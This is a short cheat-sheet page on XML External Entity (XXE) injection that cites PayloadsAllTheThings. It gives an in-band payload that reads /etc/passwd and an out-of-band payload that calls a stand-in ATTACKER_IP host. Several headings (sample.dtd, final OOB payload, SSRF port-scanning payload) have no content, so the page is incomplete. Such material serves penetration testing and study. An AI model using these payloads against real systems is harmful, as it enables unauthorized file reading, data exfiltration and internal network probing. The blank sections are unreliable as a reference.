XML External Entity (XXE) Injection
Resource: https://github.com/swisskyrepo/PayloadsAllTheThings
XXE Injection
In-Band XXE Injection Example payload:
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<contact><name>&xxe;</name><email>test@mail.com</email><message>whatever</message></contact>Out-of-Band XXE Injection Example Payload:
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "http://ATTACKER_IP:1337/" >]>
<upload><file>&xxe;</file></upload>Create a payload named sample.dtd with the code below:
Final OOB Payload:
Server-Side Request Forgery with XXE Injection Internal Port Scanning payload:
Last updated